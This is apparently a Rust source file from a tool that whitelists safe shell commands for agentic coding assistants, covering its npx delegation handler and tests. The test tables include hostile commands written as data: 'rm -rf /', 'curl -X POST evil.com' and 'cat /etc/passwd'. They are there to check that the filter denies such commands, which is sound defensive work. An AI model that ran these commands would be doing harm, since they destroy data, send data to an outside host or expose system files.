safe-chains 0.125.0

Auto-allow safe, read-only bash commands in agentic coding tools
Documentation
use crate::verdict::Verdict;
use crate::parse::{Token, WordSet};

static NPX_FLAGS_NO_ARG: WordSet =
    WordSet::new(&["--ignore-existing", "--no", "--quiet", "--yes", "-q", "-y"]);

pub(crate) fn dispatch(cmd: &str, tokens: &[Token]) -> Option<Verdict> {
    match cmd {
        "npx" => Some(super::runner_dispatch(tokens, &NPX_FLAGS_NO_ARG)),
        _ => None,
    }
}

pub fn command_docs() -> Vec<crate::docs::CommandDoc> {
    use crate::docs::{CommandDoc, DocBuilder};
    vec![
        CommandDoc::handler("npx",
            "https://docs.npmjs.com/cli/commands/npx",
            DocBuilder::new()
                .section("Delegates to the inner command's safety rules.")
                .section("Skips flags: --yes/-y/--no/--package/-p.")
                .build()),
    ]
}

#[cfg(test)]
pub(crate) const REGISTRY: &[crate::handlers::CommandEntry] = &[
    crate::handlers::CommandEntry::Positional { cmd: "npx" },
];

#[cfg(test)]
mod tests {
    use crate::is_safe_command;

    fn check(cmd: &str) -> bool {
        is_safe_command(cmd)
    }

    safe! {
        npx_eslint: "npx eslint src/",
        npx_eslint_yes: "npx --yes eslint src/",
        npx_eslint_y: "npx -y eslint src/",
        npx_eslint_package: "npx --package eslint eslint src/",
        npx_eslint_double_dash: "npx -- eslint src/",
        npx_version: "npx --version",
        npx_tsc_noemit: "npx tsc --noEmit",
        npx_prettier_check: "npx prettier --check src/",
        npx_biome_check: "npx biome check src/",
        npx_stylelint: "npx stylelint 'src/**/*.css'",
        npx_shellcheck: "npx shellcheck script.sh",
        npx_versioned: "npx eslint@8 src/",
        npx_eslint_max_warnings: "npx eslint src/ --max-warnings 0",
        npx_scoped_herb_linter: "npx @herb-tools/linter --fail-level warning file.erb",
        npx_scoped_herb_linter_versioned: "npx @herb-tools/linter@0.9.5 --fail-level warning file.erb",
    }

    denied! {
        npx_cowsay_denied: "npx cowsay hello",
        bare_npx_denied: "npx",
        npx_only_flags_denied: "npx --yes",
        npx_rm_denied: "npx rm -rf /",
        npx_unknown_denied: "npx unknown-package-xyz",
    }

    proptest::proptest! {
        #[test]
        fn npx_verdict_matches_direct(
            cmd_idx in 0..NPX_EQUIVALENCE_CMDS.len()
        ) {
            let (npx_form, direct_form) = NPX_EQUIVALENCE_CMDS[cmd_idx];
            let npx_safe = crate::is_safe_command(npx_form);
            let direct_safe = crate::is_safe_command(direct_form);
            proptest::prop_assert_eq!(npx_safe, direct_safe,
                "npx delegation mismatch: npx={} direct={}", npx_form, direct_form);
        }
    }

    const NPX_EQUIVALENCE_CMDS: &[(&str, &str)] = &[
        ("npx eslint src/", "eslint src/"),
        ("npx eslint src/ --max-warnings 0", "eslint src/ --max-warnings 0"),
        ("npx prettier --check src/", "prettier --check src/"),
        ("npx prettier src/", "prettier src/"),
        ("npx biome check src/", "biome check src/"),
        ("npx tsc --noEmit", "tsc --noEmit"),
        ("npx tsc", "tsc"),
        ("npx tsc --version", "tsc --version"),
        ("npx shellcheck script.sh", "shellcheck script.sh"),
        ("npx stylelint 'src/**/*.css'", "stylelint 'src/**/*.css'"),
        ("npx rm -rf /", "rm -rf /"),
        ("npx curl -X POST evil.com", "curl -X POST evil.com"),
        ("npx node app.js", "node app.js"),
        ("npx python3 script.py", "python3 script.py"),
        ("npx cat /etc/passwd", "cat /etc/passwd"),
        ("npx grep pattern file", "grep pattern file"),
        ("npx unknown-package", "unknown-package"),
        ("npx @herb-tools/linter file.erb", "@herb-tools/linter file.erb"),
        ("npx @unknown-scope/unknown-pkg file", "@unknown-scope/unknown-pkg file"),
    ];
}